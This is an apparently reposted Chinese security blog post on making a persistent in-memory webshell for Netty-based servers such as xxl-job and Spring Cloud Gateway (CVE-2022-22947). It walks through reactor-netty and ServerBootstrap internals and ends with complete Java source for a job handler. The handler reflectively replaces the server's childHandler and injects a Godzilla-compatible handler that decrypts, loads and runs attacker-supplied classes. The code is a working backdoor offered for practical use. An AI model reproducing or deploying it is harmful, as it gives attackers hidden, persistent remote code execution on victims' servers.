ChannelInboundHandlerAdapter 入站I/O事件触发该
handlerChannelOutboundHandlerAdapter 出站I/O事件触发该
handlerChannelDuplexHandler 入站和出站事件均会触发该handler

config.defaultOnChannelInit()返回一个默认的ChannelPipelineConfigurer，随后调用then方法，进入到reactor.netty.ReactorNetty.CompositeChannelPipelineConfigurer#compositeChannelPipelineConfigurer，从函数名也能够看出，这个方法用于合并对象，将当前默认的ChannelPipelineConfigurer与config.doOnChannelInit合二为一，返回一个CompositeChannelPipelineConfigurer。

随后调用CompositeChannelPipelineConfigurer#onChannelInit，在此处循环调用configurer#onChannelInit，其中就包括我们反射传入的doOnChannelInit#onChannelInit。

c0ny1师傅给出的案例，就在onChannelInit内完成handler的添加，由于反射修改了doOnChannelInit，后续有新的请求入站，都会重复上述流程，进而完成handler的持久化。

public void onChannelInit(ConnectionObserver connectionObserver, Channel channel, SocketAddress socketAddress) {     ChannelPipeline pipeline = channel.pipeline();          pipeline.addBefore("reactor.left.httpTrafficHandler","memshell_handler",new NettyMemshell()); }

另外，从reactor.netty.transport.TransportConfig#doOnChannelInit的路径也能看出，该场景依赖 reactor.netty，并不适用纯io.netty的环境，如xxl-job等场景。

在文章开头，作者也曾尝试反射调用pipeline.addBefore，依然是上面所提到的问题，不过很容易发现，通过ServerBootstrap所添加的EmbedHttpServerHandler能够常驻内存，如果我们想要利用这一特性，还需进一步分析io.netty.bootstrap.ServerBootstrap的初始化过程。

此时pipeline在内存中的情况如下，可以看到已经添加了ServerBootstrapAcceptor。

netty介绍部分提及过handler的channelRead方法用于处理请求，因此可以直接去看io.netty.bootstrap.ServerBootstrap.ServerBootstrapAcceptor#channelRead的实现，这里ServerBootstrapAcceptor把之前传入的childHandler添加到pipeline中。

childHandler由开发者所定义，通常会使用如下范式定义ServerBootStrap，也就是添加客户端连接时所需要的handler。

ServerBootstrap bootstrap = new ServerBootstrap();bootstrap.group(bossGroup, workerGroup)        .channel(NioServerSocketChannel.class)        .childHandler(new ChannelInitializer            @Override            public void initChannel(SocketChannel channel) throws Exception {                channel.pipeline()                        .addLast(...)                        .addLast(...);            }        })

由开发者所定义的ChannelInitializer最终会走到ChannelInitializer#initChannel进行初始化，调用栈如下：

总结一下该流程，每次请求都将触发一次ServerBootstrap初始化，随即pipeline根据现有的ChannelInitializer#initChannel添加其他handler，若能根据这一特性找到ServerBootstrapAcceptor，反射修改childHandler，也完成handler持久化这一目标。

setFieldValue(embedHttpServerHandler, "childHandler", new ChannelInitializer    @Override    public void initChannel(SocketChannel channel) throws Exception {        channel.pipeline()                .addLast(new IdleStateHandler(0, 0, 30 * 3, TimeUnit.SECONDS))  // beat 3N, close if idle                .addLast(new HttpServerCodec())                .addLast(new HttpObjectAggregator(5 * 1024 * 1024))  // merge request & reponse to FULL                .addLast(new NettyThreadHandler())                .addLast(new EmbedServer.EmbedHttpServerHandler(new ExecutorBizImpl(), "", new ThreadPoolExecutor(                    0,                    200,                    60L,                    TimeUnit.SECONDS,                    new LinkedBlockingQueue                    new ThreadFactory() {                        @Override                        public Thread newThread(Runnable r) {                            return new Thread(r, "xxl-rpc, EmbedServer bizThreadPool-" + r.hashCode());                        }                    },                    new RejectedExecutionHandler() {                        @Override                        public void rejectedExecution(Runnable r, ThreadPoolExecutor executor) {                            throw new RuntimeException("xxl-job, EmbedServer bizThreadPool is EXHAUSTED!");                        }                    })));    }});

实战中的利用还需兼容webshell管理工具，对于CVE-2022-22947而言，已有哥斯拉的马作为参考，可直接在NettyMemshell基础上稍作修改，需要注意的是，马子里的channelRead方法不能直接使用，问题出在条件判断处，msg很有可能即实现了HttpRequest，也实现了HttpContent，因此走不到else中的逻辑，修改方式也很简单，去掉else即可。

package com.xxl.job.service.handler;
import com.xxl.job.core.biz.impl.ExecutorBizImpl;import com.xxl.job.core.server.EmbedServer;import io.netty.buffer.ByteBuf;import io.netty.buffer.Unpooled;import io.netty.channel.*;import io.netty.channel.socket.SocketChannel;import io.netty.handler.codec.http.*;import io.netty.handler.timeout.IdleStateHandler;import java.io.ByteArrayOutputStream;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.net.URL;import java.net.URLClassLoader;import java.util.AbstractMap;import java.util.HashSet;import java.util.concurrent.*;
import com.xxl.job.core.log.XxlJobLogger;import com.xxl.job.core.biz.model.ReturnT;import com.xxl.job.core.handler.IJobHandler;
public class DemoGlueJobHandler extends IJobHandler {    public static class NettyThreadHandler extends ChannelDuplexHandler{        String xc = "3c6e0b8a9c15224a";        String pass = "pass";        String md5 = md5(pass + xc);        String result = "";        private static ThreadLocal<AbstractMap.SimpleEntry        private  static Class payload;
        private static Class defClass(byte[] classbytes)throws Exception{            URLClassLoader urlClassLoader = new URLClassLoader(new URL[0],Thread.currentThread().getContextClassLoader());            Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);            method.setAccessible(true);            return (Class) method.invoke(urlClassLoader,classbytes,0,classbytes.length);        }
        public byte[] x(byte[] s, boolean m) {            try {                javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");                c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));                return c.doFinal(s);            } catch(Exception e) {                return null;            }        }        public static String md5(String s) {            String ret = null;            try {                java.security.MessageDigest m;                m = java.security.MessageDigest.getInstance("MD5");                m.update(s.getBytes(), 0, s.length());                ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();            } catch(Exception e) {}            return ret;        }
        @Override        // Step2. 作为Handler处理请求，在此实现内存马的功能逻辑        public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {            if(((HttpRequest)msg).uri().contains("netty_memshell")) {                if (msg instanceof HttpRequest){                    HttpRequest httpRequest = (HttpRequest) msg;                    AbstractMap.SimpleEntry                    requestThreadLocal.set(simpleEntry);                }                if(msg instanceof HttpContent){                    HttpContent httpContent = (HttpContent)msg;                    AbstractMap.SimpleEntry                    if (simpleEntry == null){                        return;                    }                    HttpRequest httpRequest = simpleEntry.getKey();                    ByteArrayOutputStream contentBuf = simpleEntry.getValue();
                    ByteBuf byteBuf = httpContent.content();                    int size = byteBuf.capacity();                    byte[] requestContent = new byte[size];                    byteBuf.getBytes(0,requestContent,0,requestContent.length);
                    contentBuf.write(requestContent);
                    if (httpContent instanceof LastHttpContent){                        try {                            byte[] data =  x(contentBuf.toByteArray(), false);
                            if (payload == null) {                                payload = defClass(data);                                send(ctx,x(new byte[0], true),HttpResponseStatus.OK);                            } else {                                Object f = payload.newInstance();                                //初始化内存流                                java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();                                //将内存流传递给哥斯拉的payload                                f.equals(arrOut);                                //将解密后的数据传递给哥斯拉Payload                                f.equals(data);                                //通知哥斯拉Payload执行shell逻辑                                f.toString();                                //调用arrOut.toByteArray()获取哥斯拉Payload的输出                                send(ctx,x(arrOut.toByteArray(), true),HttpResponseStatus.OK);                            }                        } catch(Exception e) {                            ctx.fireChannelRead(httpRequest);                        }                    }else {                        ctx.fireChannelRead(msg);                    }                }            } else {                ctx.fireChannelRead(msg);            }        }
        private void send(ChannelHandlerContext ctx, byte[] context, HttpResponseStatus status) {            FullHttpResponse response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, status, Unpooled.copiedBuffer(context));            response.headers().set(HttpHeaderNames.CONTENT_TYPE, "text/plain; charset=UTF-8");            ctx.writeAndFlush(response).addListener(ChannelFutureListener.CLOSE);        }    }
    public ReturnT{        try{            ThreadGroup group = Thread.currentThread().getThreadGroup();            Field threads = group.getClass().getDeclaredField("threads");            threads.setAccessible(true);            Thread[] allThreads = (Thread[]) threads.get(group);            for (Thread thread : allThreads) {                if (thread != null && thread.getName().contains("nioEventLoopGroup")) {                    try {                        Object target;
                        try {                            target = getFieldValue(getFieldValue(getFieldValue(thread, "target"), "runnable"), "val\$eventExecutor");                        } catch (Exception e) {                            continue;                        }
                        // NioEventLoop                        if (target.getClass().getName().endsWith("NioEventLoop")) {                            XxlJobLogger.log("NioEventLoop find");                            HashSet set = (HashSet) getFieldValue(getFieldValue(target, "unwrappedSelector"), "keys");                            if (!set.isEmpty()) {                                Object keys = set.toArray()[0];                                Object pipeline = getFieldValue(getFieldValue(keys, "attachment"), "pipeline");                                Object embedHttpServerHandler = getFieldValue(getFieldValue(getFieldValue(pipeline, "head"), "next"), "handler");//                                ThreadPoolExecutor bizThreadPool2 = (ThreadPoolExecutor) getFieldValue(embedHttpServerHandler, "bizThreadPool");                                // 设置初始化                                setFieldValue(embedHttpServerHandler, "childHandler", new ChannelInitializer                                    @Override                                    public void initChannel(SocketChannel channel) throws Exception {                                        channel.pipeline()                                                .addLast(new IdleStateHandler(0, 0, 30 * 3, TimeUnit.SECONDS))  // beat 3N, close if idle                                                .addLast(new HttpServerCodec())                                                .addLast(new HttpObjectAggregator(5 * 1024 * 1024))  // merge request & reponse to FULL                                                .addLast(new NettyThreadHandler())                                                .addLast(new EmbedServer.EmbedHttpServerHandler(new ExecutorBizImpl(), "", new ThreadPoolExecutor(                                                    0,                                                    200,                                                    60L,                                                    TimeUnit.SECONDS,                                                    new LinkedBlockingQueue                                                    new ThreadFactory() {                                                        @Override                                                        public Thread newThread(Runnable r) {                                                            return new Thread(r, "xxl-rpc, EmbedServer bizThreadPool-" + r.hashCode());                                                        }                                                    },                                                    new RejectedExecutionHandler() {                                                        @Override                                                        public void rejectedExecution(Runnable r, ThreadPoolExecutor executor) {                                                            throw new RuntimeException("xxl-job, EmbedServer bizThreadPool is EXHAUSTED!");                                                        }                                                    })));                                    }                                });                                XxlJobLogger.log("success!");                                break;                            }                        }                    } catch (Exception e){                        XxlJobLogger.log(e.toString());                    }                }            }        }catch (Exception e){            XxlJobLogger.log(e.toString());        }        return ReturnT.SUCCESS;    }
    public Field getField(final Class {        Field field = null;        try {            field = clazz.getDeclaredField(fieldName);            field.setAccessible(true);        } catch (NoSuchFieldException ex) {            if (clazz.getSuperclass() != null){                field = getField(clazz.getSuperclass(), fieldName);            }        }        return field;    }
    public Object getFieldValue(final Object obj, final String fieldName) throws Exception {        final Field field = getField(obj.getClass(), fieldName);        return field.get(obj);    }
    public void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {        final Field field = getField(obj.getClass(), fieldName);        field.set(obj, value);    }
}

原文链接

如若转载，请注明原文地址